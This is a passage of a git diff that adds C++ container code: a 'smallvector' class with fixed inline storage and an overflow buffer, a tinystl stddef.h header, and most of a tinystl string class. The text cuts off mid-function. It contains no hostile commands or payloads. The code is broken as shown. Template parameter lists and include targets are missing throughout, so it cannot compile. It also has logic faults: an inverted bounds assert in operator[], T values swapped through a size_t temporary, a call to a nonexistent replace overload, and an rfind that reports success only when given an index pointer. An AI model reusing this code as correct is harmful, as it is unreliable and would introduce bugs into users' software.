class CONFETTI_DLLAPI smallvector { + public: + smallvector(); + smallvector(const smallvector& other); + smallvector(const T& value); + ~smallvector(); + + smallvector& operator=(const smallvector& other); + + void assign(const T* first, const T* last); + + const T* array_data() const; + T* array_data(); + const T* buffer_data() const; + T* buffer_data(); + size_t array_size() const; + size_t array_capacity() const; + size_t buffer_size() const; + size_t buffer_capacity() const; + size_t size() const; + bool empty() const; + + T& operator[](size_t idx); + const T& operator[](size_t idx) const; + + const T& front() const; + T& front(); + const T& back() const; + T& back(); + + void resize(size_t size); + void resize(size_t size, const T& value); + void clear(); + void reserve(size_t capacity); + + void push_back(const T& t); + void pop_back(); + + void emplace_back(); + template + void emplace_back(const Param& param); + + void shrink_to_fit(); + + void swap(smallvector& other); + + smallVectorIterator begin(); + smallVectorIterator end(); + + const smallVectorIterator begin() const; + const smallVectorIterator end() const; + + void insert(T* where); + void insert(T* where, const T& value); + void insert(T* where, const T* first, const T* last); + + template + void emplace(T* where, const Param& param); + + T* erase(T* where); + T* erase(T* first, T* last); + + T* erase_unordered(T* where); + T* erase_unordered(T* first, T* last); +/* + // [Confetti backwards compatibility] + T* getArray() const { return m_array; } + T* abandonArray(); + unsigned int getCount() const { return static_cast(size()); } + void setCount(const unsigned int newCount); + const unsigned int add(const T& t); + void remove(const unsigned int index); + void orderedRemove(const unsigned int index); + void fastRemove(const unsigned int index); + void reset(); +*/ + private: + int partition(int(*compare)(const T &elem0, const T &elem1), int p, int r); + void quickSort(int(*compare)(const T &elem0, const T &elem1), int p, int r); + + public: + void sort(int(*compare)(const T &elem0, const T &elem1)); + + private: + T m_array[S]; + T* m_arrayIdx; + buffer m_buffer; + }; + + template + inline smallvector::smallvector(){ + m_arrayIdx = m_array; + buffer_init(&m_buffer); + } + + template + inline smallvector::smallvector(const smallvector& other) { + for (m_arrayIdx = m_array; m_arrayIdx < m_array + other.array_size(); ++m_arrayIdx) + *m_arrayIdx = other.m_array[m_arrayIdx - m_array]; + buffer_init(&m_buffer); + buffer_reserve(&m_buffer, other.buffer_size()); + buffer_insert(&m_buffer, m_buffer.last, other.m_buffer.first, other.m_buffer.last); + } + + template + inline smallvector::smallvector(const T& value) { + for(m_arrayIdx = m_array; m_arrayIdx < m_array + S; ++m_arrayIdx) + *m_arrayIdx = value; + buffer_init(&m_buffer); + } + + template + inline smallvector::~smallvector() { + m_arrayIdx = nullptr; + buffer_destroy(&m_buffer); + } + + template + inline smallvector& smallvector::operator=(const smallvector& other){ + smallvector(other).swap(*this); + return *this; + } + + template + inline void smallvector::assign(const T* first, const T* last){ + const size_t size = last - first; + for (m_arrayIdx = m_array; m_arrayIdx < m_array + min(size, S); ++m_arrayIdx) + *m_arrayIdx = *(first + array_size()); + if(size > S){ + buffer_clear(&m_buffer); + buffer_insert(&m_buffer, m_buffer.last, first + S, last); + } + } + + template + inline const T* smallvector::array_data() const { + return m_array; + } + + template + inline T* smallvector::array_data(){ + return m_array; + } + + template + inline const T* smallvector::buffer_data() const { + return m_buffer.first; + } + + template + inline T* smallvector::buffer_data(){ + return m_buffer.first; + } + + template + inline size_t smallvector::array_size() const { + return m_arrayIdx - m_array; + } + + template + inline size_t smallvector::array_capacity() const { + return S; + } + + template + inline size_t smallvector::buffer_size() const { + return m_buffer.last - m_buffer.first; + } + + template + inline size_t smallvector::buffer_capacity() const { + return m_buffer.capacity - m_buffer.first; + } + + template + inline size_t smallvector::size() const { + return array_size() + buffer_size(); + } + + template + inline bool smallvector::empty() const { + return m_arrayIdx == m_array; + } + + template + inline T& smallvector::operator[](size_t idx){ + if (idx < S) { + assert(idx < array_size() && "smallvector[]: index is out of range."); // Maybe even remove it. + return m_array[idx]; + } + assert(idx >= size() && "smallvector[]: index is out of range."); // Maybe even remove it. + return m_buffer.first[idx - S]; + } + + template + inline const T& smallvector::operator[](size_t idx) const { + if (idx < S) { + assert(idx < array_size() && "smallvector[]: index is out of range."); // Maybe even remove it. + return m_array[idx]; + } + assert(idx >= size() && "smallvector[]: index is out of range."); // Maybe even remove it. + return m_buffer.first[idx - S]; + } + + template + inline T& smallvector::front(){ + return m_array[0]; + } + + template + inline const T& smallvector::front() const { + return m_array[0]; + } + + template + inline T& smallvector::back(){ + if(buffer_size() == 0) return *m_arrayIdx; + else return m_buffer.last[-1]; + } + + template + inline const T& smallvector::back() const { + if(buffer_size() == 0) return *m_arrayIdx; + else return m_buffer.last[-1]; + } + + template + inline void smallvector::resize(size_t size){ + // How do I control negative size? (-1 = 18446744073709551615) + if (size < array_size()){ + m_arrayIdx = m_array + size; + buffer_destroy(&m_buffer); + } else if (size > S){ + if (buffer_size() == 0) buffer_reserve(&m_buffer, size - S); + else buffer_resize(&m_buffer, size - S); + } + } + + template + inline void smallvector::resize(size_t size, const T& value){ + // How do I control negative size? (-1 = 18446744073709551615) + if (size < array_size()) { + m_arrayIdx = m_array + size; + buffer_destroy(&m_buffer); + } + else if (size > S) { + if (buffer_size() == 0) buffer_reserve(&m_buffer, size - S); + else buffer_resize(&m_buffer, size - S); + } + } + + template + inline void smallvector::clear() { + m_arrayIdx = m_array; + buffer_clear(&m_buffer); + } + + template + inline void smallvector::reserve(size_t capacity) { + if (capacity > S) buffer_reserve(&m_buffer, capacity - S); + } + + template + inline void smallvector::push_back(const T& t) { + if(array_size() >= S) buffer_append(&m_buffer, &t); + else {*m_arrayIdx = t; ++m_arrayIdx;} + } + + template + inline void smallvector::pop_back() { + if(buffer_size() != 0) buffer_erase(&m_buffer, m_buffer.last - 1, m_buffer.last); + else m_arrayIdx = (m_arrayIdx == m_array) ? m_array : --m_arrayIdx; + } + + template + inline void smallvector::emplace_back() { + if (array_size() >= S) buffer_append(&m_buffer); + else { *m_arrayIdx = NULL; ++m_arrayIdx; } + } + + template + template + inline void smallvector::emplace_back(const Param& param) { + if (array_size() >= S) buffer_append(&m_buffer, ¶m); + else { *m_arrayIdx = param; ++m_arrayIdx; } + } + + template + inline void smallvector::shrink_to_fit() { + if(size() <= S) buffer_init(&m_buffer); // Breaks if with empty buffers if I don't do this check. + else buffer_shrink_to_fit(&m_buffer); + } + + template + inline void smallvector::swap(smallvector& other) { + for(size_t i = 0; i < array_size(); ++i){ + const size_t aux = m_array[i]; + m_array[i] = other.m_array[i]; + other.m_array[i] = aux; + } + other.m_arrayIdx = other.m_array + array_size(); + buffer_swap(&m_buffer, &other.m_buffer); + } + + template + inline smallVectorIterator smallvector::begin() { + return smallVectorIterator(m_array, m_array, m_buffer.first, S); + } + + template + inline smallVectorIterator smallvector::end() { + if (buffer_size() == 0) return smallVectorIterator(m_arrayIdx, m_array, m_buffer.first, S); + else return smallVectorIterator(m_buffer.last , m_array, m_buffer.first, S); + } + + template + inline const smallVectorIterator smallvector::begin() const { + return smallVectorIterator(m_array, m_array, m_buffer.first, S); + } + + template + inline const smallVectorIterator smallvector::end() const { + if (buffer_size() == 0) return smallVectorIterator(m_arrayIdx, m_array, m_buffer.first, S); + else return smallVectorIterator(m_buffer.last , m_array, m_buffer.first, S); + } + + template + inline void smallvector::insert(T* where) { + size_t offset = where - m_array; + if (offset == S) buffer_insert(&m_buffer, m_buffer.first, 1); + else if(offset > S) buffer_insert(&m_buffer, where, 1); + else { + if(S - array_size() < 1) buffer_insert(&m_buffer, m_buffer.first, &m_array[S - 1], &m_array[S]); + + T previousValue = NULL; + for (; offset < min(array_size() + 1, S); ++offset) + { + const size_t aux = m_array[offset]; + m_array[offset] = previousValue; + previousValue = aux; + } + + m_arrayIdx = min(m_array + S, ++m_arrayIdx); + } + } + + template + inline void smallvector::insert(T* where, const T& value) { + size_t offset = where - m_array; + if (offset == S) buffer_insert(&m_buffer, m_buffer.first, &value, &value + 1); + else if (offset > S) buffer_insert(&m_buffer, where, &value, &value + 1); + else { + if (S - array_size() < 1) buffer_insert(&m_buffer, m_buffer.first, &m_array[S - 1], &m_array[S]); + + T previousValue = value; + for (; offset < min(array_size() + 1, S); ++offset) + { + const size_t aux = m_array[offset]; + m_array[offset] = previousValue; + previousValue = aux; + } + + m_arrayIdx = min(m_array + S, ++m_arrayIdx); + } + } + + template + inline void smallvector::insert(T* where, const T* first, const T* last) { + size_t offset = where - m_array; + if (offset == S) buffer_insert(&m_buffer, m_buffer.first, first, last); + else if (offset > S) buffer_insert(&m_buffer, where, first, last); + else { + const size_t availableArraySize = S - array_size(); + const size_t count = last - first; + + if (availableArraySize < count) { + buffer_insert(&m_buffer, m_buffer.first, m_array + offset, m_arrayIdx); + buffer_insert(&m_buffer, m_buffer.first, last - offset, last); + } + + size_t valueOffset = (count - 1) % S - offset; + offset = min(offset + count * 2 - 1, S - 1); + for (; offset > 0; --offset) + { + m_array[offset] = *(where + valueOffset); + if (offset == count) valueOffset = last - where - 1; + else --valueOffset; + } + + m_arrayIdx = min(m_array + S, m_arrayIdx + count); + } + } + + template + template + void smallvector::emplace(T* where, const Param& param) { + size_t offset = where - m_array; + if (offset == S) buffer_insert(&m_buffer, m_buffer.first, ¶m, ¶m + 1); + else if (offset > S) buffer_insert(&m_buffer, where, ¶m, ¶m + 1); + else { + if (S - array_size() < 1) buffer_insert(&m_buffer, m_buffer.first, &m_array[S - 1], &m_array[S]); + + T previousValue = param; + for (; offset < min(array_size() + 1, S); ++offset) + { + const size_t aux = m_array[offset]; + m_array[offset] = previousValue; + previousValue = aux; + } + + m_arrayIdx = min(m_array + S, ++m_arrayIdx); + } + } + + template + inline T* smallvector::erase(T* where) { + size_t offset = where - m_array; + if (offset == S) buffer_erase(&m_buffer, m_buffer.first, m_buffer.first + 1); + else if (offset > S) return buffer_erase(&m_buffer, where, where + 1); + else { + for (; offset < array_size() - 1; ++offset) + m_array[offset] = m_array[offset + 1]; + if (size() > S) { + m_array[S - 1] = *m_buffer.first; + buffer_erase(&m_buffer, m_buffer.first, m_buffer.first + 1); + } else --m_arrayIdx; + return where; + } + } + + template + inline T* smallvector::erase(T* first, T* last) { + size_t offset = first - m_array; + const size_t count = last - first; + + if (offset == S) buffer_erase(&m_buffer, m_buffer.first, last); + else if (offset > S) return buffer_erase(&m_buffer, first, last); + else { + if (size() <= S) { + if (count > array_size()) m_arrayIdx = 0; + else { + for (; offset < array_size() - count; ++offset) + m_array[offset] = m_array[offset + count]; + m_arrayIdx -= count; + } + return first; + } + else { + const size_t bufferCount = last - m_buffer.first; + + size_t valueOffset; + for (; offset <= buffer_size() - bufferCount; ++offset) { + valueOffset = offset - (first - m_array); + m_array[offset] = *(m_buffer.first + (bufferCount + valueOffset)); + } + m_arrayIdx = m_array + offset + valueOffset; + + m_array[offset] = *m_buffer.first; + buffer_erase(&m_buffer, m_buffer.first, m_buffer.first + bufferCount + 1); + return first; + } + } + } + + template + inline T* smallvector::erase_unordered(T* where) { + size_t offset = where - m_array; + if (offset == S) buffer_erase_unordered(&m_buffer, m_buffer.first, m_buffer.first + 1); + else if (offset > S) return buffer_erase_unordered(&m_buffer, where, where + 1); + else { + for (; offset < array_size() - 1; ++offset) + m_array[offset] = m_array[offset + 1]; + if (size() > S) { + m_array[S - 1] = *m_buffer.first; + buffer_erase_unordered(&m_buffer, m_buffer.first, m_buffer.first + 1); + } + else --m_arrayIdx; + return where; + } + } + + template + inline T* smallvector::erase_unordered(T* first, T* last) { + size_t offset = first - m_array; + const size_t count = last - first; + + if (offset == S) buffer_erase_unordered(&m_buffer, m_buffer.first, last); + else if (offset > S) return buffer_erase_unordered(&m_buffer, first, last); + else { + if (size() <= S) { + if (count > array_size()) m_arrayIdx = 0; + else { + for (; offset < array_size() - count; ++offset) + m_array[offset] = m_array[offset + count]; + m_arrayIdx -= count; + } + return first; + } + else { + const size_t bufferCount = last - m_buffer.first; + + size_t valueOffset; + for (; offset <= buffer_size() - bufferCount; ++offset) { + valueOffset = offset - (first - m_array); + m_array[offset] = *(m_buffer.first + (bufferCount + valueOffset)); + } + m_arrayIdx = m_array + offset + valueOffset; + + m_array[offset] = *m_buffer.first; + buffer_erase_unordered(&m_buffer, m_buffer.first, m_buffer.first + bufferCount + 1); + return first; + } + } + } + + template + T* smallvector::abandonArray() + { + T* r = m_array; + m_arrayIdx = m_array; + buffer_init(&m_buffer); + return r; + } + + template + inline void smallvector::setCount(const unsigned int newCount) + { + resize(newCount); + } + + template + inline const unsigned int smallvector::add(const T& t) + { + push_back(t); + return static_cast(size() - 1); + } + + template + inline void smallvector::fastRemove(const unsigned int index) + { + // Fast remove used to cause a memory leak in the old stl + // Just remove regularly instead + erase(m_array + index); + } + + template + inline void smallvector::remove(const unsigned int index) + { + erase(m_array + index); + } + + template + inline void smallvector::orderedRemove(const unsigned int index) + { + erase(m_array + index); + } + + template + inline void smallvector::reset() + { + clear(); + } + + template + inline int smallvector::partition(int(*compare)(const T &elem0, const T &elem1), int p, int r) + { + T tmp, pivot = (*this)[p]; + int left = p; + + for (int i = p + 1; i <= r; i++) { + if (compare((*this)[i], pivot) < 0) { + left++; + tmp = (*this)[i]; + (*this)[i] = (*this)[left]; + (*this)[left] = tmp; + } + } + tmp = (*this)[p]; + (*this)[p] = (*this)[left]; + (*this)[left] = tmp; + return left; + } + + template + inline void smallvector::quickSort(int(*compare)(const T &elem0, const T &elem1), int p, int r) + { + if (p < r) { + int q = partition(compare, p, r); + quickSort(compare, p, q - 1); + quickSort(compare, q + 1, r); + } + } + + template + inline void smallvector::sort(int(*compare)(const T &elem0, const T &elem1)) + { + quickSort(compare, 0, (int)size() - 1); + } +} + +#endif // !SMALL_VECTOR_H diff --git a/dep/tinystl/include/stl/stddef.h b/dep/tinystl/include/stl/stddef.h new file mode 100644 index 0000000..a6445fd --- /dev/null +++ b/dep/tinystl/include/stl/stddef.h @@ -0,0 +1,44 @@ +/*- + * Copyright 2012-2015 Matthew Endsley + * All rights reserved + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted providing that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY + * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING + * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef TINYSTL_STDDEF_H +#define TINYSTL_STDDEF_H + +#if defined(_WIN64) +typedef long long unsigned int size_t; +#elif defined(_WIN32) +typedef unsigned int size_t; +#elif defined (__linux__) && defined(__SIZE_TYPE__) +typedef __SIZE_TYPE__ size_t; +#else +# include +#endif + +#endif + +namespace tinystl { } + +namespace stl = tinystl; diff --git a/dep/tinystl/include/stl/string.h b/dep/tinystl/include/stl/string.h new file mode 100644 index 0000000..249efc3 --- /dev/null +++ b/dep/tinystl/include/stl/string.h @@ -0,0 +1,777 @@ +/*- + * Copyright 2012-2015 Matthew Endsley + * All rights reserved + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted providing that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY + * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING + * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef TINYSTL_STRING_H +#define TINYSTL_STRING_H + +#include "allocator.h" +#include "vector.h" +#include "stddef.h" +#include "hash.h" + + + // For memcpy +#include +// For sprintf: contains vsnprintf +#include +// For sprintf: contains va_start, etc. +#include +#include +#if defined(__linux__) +// For ptrdiff_t, etc +#include +#endif + +// disable the unsecare function warning on vsnprintf and sprintf with Microsoft compiler +#if defined(_MSC_VER) +#pragma warning(push) +#pragma warning(disable: 4996) +#endif + +namespace tinystl { + class string { + public: + typedef char* iterator; + + string(); + string(const string& other); + string(string&& other); + string(const char* sz); + string(const char* sz, size_t len); + ~string(); + + string& operator=(const string& other); + string& operator=(string&& other); + + operator const char*() const { return m_first; } + const char& at(size_t index) const { return m_first[index]; } + char& at(size_t index) { return m_first[index]; } + + iterator begin() const { return m_first; } + iterator end() const { return m_last; } + + const char* c_str() const; + size_t size() const; + + void reserve(size_t size); + void resize(size_t size); + + void append(const char* first, const char* last); + void push_back(char c); + + void swap(string& other); + + string substring(unsigned pos) const; + string substring(unsigned pos, unsigned length) const; + + unsigned find(char c, unsigned startPos, bool caseSensitive = true) const; + unsigned find(const string& str, unsigned startPos, bool caseSensitive = true) const; + bool rfind(const char ch, int pos = -1, unsigned int* index = nullptr) const; + + unsigned find_last(char c, unsigned startPos = npos, bool caseSensitive = true) const; + unsigned find_last(const string& str, unsigned startPos = npos, bool caseSensitive = true) const; + + void replace(char replaceThis, char replaceWith, bool caseSensitive = true); + void replace(const string& replaceThis, const string& replaceWith, bool caseSensitive = true); + + bool insert(const unsigned int pos, const char *string, const unsigned int len); + + string replaced(char s, char r) const; + string replaced(const string& replaceThis, const string& replaceWith, bool caseSensitive = true) const; + + string trimmed() const; + + string to_lower() const; + string to_upper() const; + + vector split(char separator, bool keepEmptyStrings = false) const; + + /// Copy chars from one buffer to another. + static inline void copy_chars(char* dest, const char* src, unsigned count); + static inline int compare(const char* lhs, const char* rhs, bool caseSensitive); + static inline string format(const char* fmt, ...); + + /// Position for "not found." + static const unsigned npos = 0xffffffff; + + private: + /// Move a range of characters within the string. + inline void move_range(unsigned dest, unsigned src, unsigned count) + { + if (count) + memmove(m_first + dest, m_first + src, count); + } + + + typedef char* pointer; + pointer m_first; + pointer m_last; + pointer m_capacity; + + static const size_t c_nbuffer = 12; + char m_buffer[12]; + }; + + inline string::string() + : m_first(m_buffer) + , m_last(m_buffer) + , m_capacity(m_buffer + c_nbuffer) + { + resize(0); + } + + inline string::string(const string& other) + : m_first(m_buffer) + , m_last(m_buffer) + , m_capacity(m_buffer + c_nbuffer) + { + reserve(other.size()); + append(other.m_first, other.m_last); + } + + inline string::string(string&& other) + : m_first(m_buffer) + , m_last(m_buffer) + , m_capacity(m_buffer + c_nbuffer) + { + swap(other); + } + + inline string::string(const char* sz) + : m_first(m_buffer) + , m_last(m_buffer) + , m_capacity(m_buffer + c_nbuffer) + { + size_t len = 0; + char temp = '\0'; + if (!sz) + { + sz = &temp; + } + for (const char* it = sz; *it; ++it) + ++len; + + reserve(len); + append(sz, sz + len); + } + + inline string::string(const char* sz, size_t len) + : m_first(m_buffer) + , m_last(m_buffer) + , m_capacity(m_buffer + c_nbuffer) + { + reserve(len); + append(sz, sz + len); + } + + inline string::~string() { + if (m_first != m_buffer) + TINYSTL_ALLOCATOR::static_deallocate(m_first, m_capacity - m_first); + } + + inline string& string::operator=(const string& other) { + string(other).swap(*this); + return *this; + } + + inline string& string::operator=(string&& other) { + other.swap(*this); + return *this; + } + + inline const char* string::c_str() const { + return m_first; + } + + inline size_t string::size() const + { + return (size_t)(m_last - m_first); + } + + inline void string::reserve(size_t capacity) { + if (m_first + capacity + 1 <= m_capacity) + return; + + const size_t size = (size_t)(m_last - m_first); + + pointer newfirst = (pointer)TINYSTL_ALLOCATOR::static_allocate(capacity + 1); + for (pointer it = m_first, newit = newfirst, end = m_last; it != end; ++it, ++newit) + *newit = *it; + if (m_first != m_buffer) + TINYSTL_ALLOCATOR::static_deallocate(m_first, m_capacity - m_first); + + m_first = newfirst; + m_last = newfirst + size; + m_capacity = m_first + capacity; + } + + inline void string::resize(size_t size) { + reserve(size); + for (pointer it = m_last, end = m_first + size + 1; it < end; ++it) + *it = 0; + + m_last = m_first + size; + m_first[size] = '\0'; + } + + inline void string::append(const char* first, const char* last = nullptr) { + if (last == nullptr) + last = first + strlen(first); + const size_t newsize = (size_t)((m_last - m_first) + (last - first) + 1); + if (m_first + newsize > m_capacity) + reserve((newsize * 3) / 2); + + for (; first != last; ++m_last, ++first) + *m_last = *first; + *m_last = 0; + } + + inline void string::push_back(char c) + { + append(&c, (&c) + 1); + } + + inline void string::swap(string& other) { + const pointer tfirst = m_first, tlast = m_last, tcapacity = m_capacity; + m_first = other.m_first, m_last = other.m_last, m_capacity = other.m_capacity; + other.m_first = tfirst, other.m_last = tlast, other.m_capacity = tcapacity; + + char tbuffer[c_nbuffer]; + + if (m_first == other.m_buffer) + for (pointer it = other.m_buffer, end = m_last, out = tbuffer; it != end; ++it, ++out) + *out = *it; + + if (other.m_first == m_buffer) { + other.m_last = other.m_last - other.m_first + other.m_buffer; + other.m_first = other.m_buffer; + other.m_capacity = other.m_buffer + c_nbuffer; + + for (pointer it = other.m_first, end = other.m_last, in = m_buffer; it != end; ++it, ++in) + *it = *in; + *other.m_last = 0; + } + + if (m_first == other.m_buffer) { + m_last = m_last - m_first + m_buffer; + m_first = m_buffer; + m_capacity = m_buffer + c_nbuffer; + + for (pointer it = m_first, end = m_last, in = tbuffer; it != end; ++it, ++in) + *it = *in; + *m_last = 0; + } + } + + inline string string::substring(unsigned pos) const + { + if (pos < (unsigned)size()) + { + string ret; + ret.resize((unsigned)size() - pos); + copy_chars(ret.m_first, m_first + pos, (unsigned)ret.size()); + + return ret; + } + else + return string(); + } + + inline string string::substring(unsigned pos, unsigned length) const + { + if (pos < (unsigned)size()) + { + string ret; + if (pos + length > (unsigned)size()) + length = (unsigned)size() - pos; + ret.resize(length); + copy_chars(ret.m_first, m_first + pos, (unsigned)ret.size()); + + return ret; + } + else + return string(); + } + + inline unsigned string::find(char c, unsigned startPos, bool caseSensitive /* = true*/) const + { + if (caseSensitive) + { + for (unsigned i = startPos; i < (unsigned)size(); ++i) + { + if (m_first[i] == c) + return i; + } + } + else + { + c = (char)tolower(c); + for (unsigned i = startPos; i < (unsigned)size(); ++i) + { + if (tolower(m_first[i]) == c) + return i; + } + } + + return npos; + } + + inline unsigned string::find(const string& str, unsigned startPos, bool caseSensitive /* = true*/) const + { + if (!(unsigned)str.size() || (unsigned)str.size() > (unsigned)size()) + return npos; + + char first = str.m_first[0]; + if (!caseSensitive) + first = (char)tolower(first); + + for (unsigned i = startPos; i <= (unsigned)size() - (unsigned)str.size(); ++i) + { + char c = m_first[i]; + if (!caseSensitive) + c = (char)tolower(c); + + if (c == first) + { + unsigned skip = npos; + bool found = true; + for (unsigned j = 1; j < (unsigned)str.size(); ++j) + { + c = m_first[i + j]; + char d = str.m_first[j]; + if (!caseSensitive) + { + c = (char)tolower(c); + d = (char)tolower(d); + } + + if (skip == npos && c == first) + skip = i + j - 1; + + if (c != d) + { + found = false; + if (skip != npos) + i = skip; + break; + } + } + if (found) + return i; + } + } + + return npos; + } + + inline bool string::rfind(const char ch, int pos, unsigned int* index) const + { + unsigned int i = (pos < 0) ? static_cast(size()) : pos; + + while (i) + { + i--; + if (m_first[i] == ch) + { + if (index != nullptr) + { + *index = i; + return true; + } + } + } + + return false; + } + + inline unsigned string::find_last(char c, unsigned startPos /* = npos*/, bool caseSensitive /* = true*/) const + { + if (startPos >= (unsigned)size()) + startPos = (unsigned)size() - 1; + + if (caseSensitive) + { + for (unsigned i = startPos; i < (unsigned)size(); --i) + { + if (m_first[i] == c) + return i; + } + } + else + { + c = (char)tolower(c); + for (unsigned i = startPos; i < (unsigned)size(); --i) + { + if (tolower(m_first[i]) == c) + return i; + } + } + + return npos; + } + + inline unsigned string::find_last(const string& str, unsigned startPos /* = npos*/, bool caseSensitive /* = true*/) const + { + if (!(unsigned)str.size() || (unsigned)str.size() > (unsigned)size()) + return npos; + if (startPos > (unsigned)size() - (unsigned)str.size()) + startPos = (unsigned)size() - (unsigned)str.size(); + + char first = *str.m_first; + if (!caseSensitive) + first = (char)tolower(first); + + for (unsigned i = startPos; i < (unsigned)size(); --i) + { + char c = m_first[i]; + if (!caseSensitive) + c = (char)tolower(c); + + if (c == first) + { + bool found = true; + for (unsigned j = 1; j < (unsigned)str.size(); ++j) + { + c = m_first[i + j]; + char d = str.m_first[j]; + if (!caseSensitive) + { + c = (char)tolower(c); + d = (char)tolower(d); + } + + if (c != d) + { + found = false; + break; + } + } + if (found) + return i; + } + } + + return npos; + } + + inline void string::replace(char replaceThis, char replaceWith, bool caseSensitive /* = true*/) + { + if (caseSensitive) + { + for (unsigned i = 0; i < (unsigned)size(); ++i) + { + if (m_first[i] == replaceThis) + m_first[i] = replaceWith; + } + } + else + { + replaceThis = (char)tolower(replaceThis); + for (unsigned i = 0; i < (unsigned)size(); ++i) + { + if (tolower(m_first[i]) == replaceThis) + m_first[i] = replaceWith; + } + } + } + + inline void string::replace(const string& replaceThis, const string& replaceWith, bool caseSensitive /* = true*/) + { + unsigned nextPos = 0; + + while (nextPos < (unsigned)size()) + { + unsigned pos = find(replaceThis, nextPos, caseSensitive); + if (pos == npos) + break; + + unsigned srcLength = (unsigned)replaceWith.size(); + unsigned length = (unsigned)replaceThis.size(); + const char* srcStart = replaceWith.c_str(); + int delta = (int)srcLength - (int)length; + + if (pos + length < (unsigned)size()) + { + if (delta < 0) + { + move_range(pos + srcLength, pos + length, (unsigned)size() - pos - length); + resize((unsigned)size() + delta); + } + if (delta > 0) + { + resize((unsigned)size() + delta); + move_range(pos + srcLength, pos + length, (unsigned)size() - pos - length - delta); + } + } + else + resize((unsigned)size() + delta); + + copy_chars(m_first + pos, srcStart, srcLength); + + + replace(pos, (unsigned)replaceThis.size(), replaceWith); + nextPos = pos + (unsigned)replaceWith.size(); + } + } + + inline bool string::insert(const unsigned int pos, const char *string, const unsigned int len) + { + if (pos > size()) + return false; + + size_t length = size(); + size_t newLength = length + len; + + resize(newLength); + + size_t n = length - pos; + for (unsigned int i = 0; i <= n; i++) + m_first[newLength - i] = m_first[length - i]; + + strncpy(m_first + pos, string, len); + + return true; + } + + inline string string::replaced(char s, char r) const + { + string str = *this; + str.replace(s, r); + return str; + } + + inline string string::replaced(const string& replaceThis, const string& replaceWith, bool caseSensitive /* = true*/) const + { + string ret = *this; + ret.replace(replaceThis, replaceWith, caseSensitive); + return ret; + } + + inline string string::trimmed() const + { + unsigned trimStart = 0; + unsigned trimEnd = (unsigned)size(); + + while (trimStart < trimEnd) + { + char c = m_first[trimStart]; + if (c != ' ' && c != 9) + break; + ++trimStart; + } + while (trimEnd > trimStart) + { + char c = m_first[trimEnd - 1]; + if (c != ' ' && c != 9) + break; + --trimEnd; + } + + return substring(trimStart, trimEnd - trimStart); + } + + inline string string::to_lower() const + { + string ret = *this; + for (unsigned i = 0; i < (unsigned)ret.size(); ++i) + ret.m_first[i] = (char)tolower(m_first[i]); + + return ret; + } + + inline string string::to_upper() const + { + string ret = *this; + for (unsigned i = 0; i < (unsigned)ret.size(); ++i) + ret.m_first[i] = (char)toupper(m_first[i]); + + return ret; + } + + inline vector string::split(char separator, bool keepEmptyStrings /* = false*/) const + { + const char* str = c_str(); + vector ret; + const char* strEnd = str + strlen(str); + + for (const char* splitEnd = str; splitEnd != strEnd; ++splitEnd) + { + if (*splitEnd == separator) + { + const ptrdiff_t splitLen = splitEnd - str; + if (splitLen > 0 || keepEmptyStrings) + ret.push_back(string(str, splitLen)); + str = splitEnd + 1; + } + } + + const ptrdiff_t splitLen = strEnd - str; + if (splitLen > 0 || keepEmptyStrings) + ret.push_back(string(str, splitLen)); + + return ret; + } + + inline bool operator==(const string& lhs, const string& rhs) { + + const size_t lsize = lhs.size(), rsize = rhs.size(); + if (lsize != rsize) + return false; + + // use memcmp - this is usually an intrinsic on most compilers + return memcmp(lhs.c_str(), rhs.c_str(), lsize) == 0; + } + + inline bool operator==(const string& lhs, const char* rhs) { + + const size_t lsize = lhs.size(), rsize = strlen(rhs); + if (lsize != rsize) + return false; + + return memcmp(lhs.c_str(), rhs, lsize) == 0; + } + + inline bool operator<(const string& lhs, const string& rhs) { + + const size_t lsize = lhs.size(), rsize = rhs.size(); + if (lsize != rsize) + return lsize < rsize; + return memcmp(lhs.c_str(), rhs.c_str(), lsize) < 0; + } + + inline bool operator>(const string& lhs, const string& rhs) { + + const size_t lsize = lhs.size(), rsize = rhs.size(); + if (lsize != rsize) + return lsize > rsize; + return memcmp(lhs.c_str(), rhs.c_str(), lsize) > 0; + } + + inline bool operator<=(const string& lhs, const string& 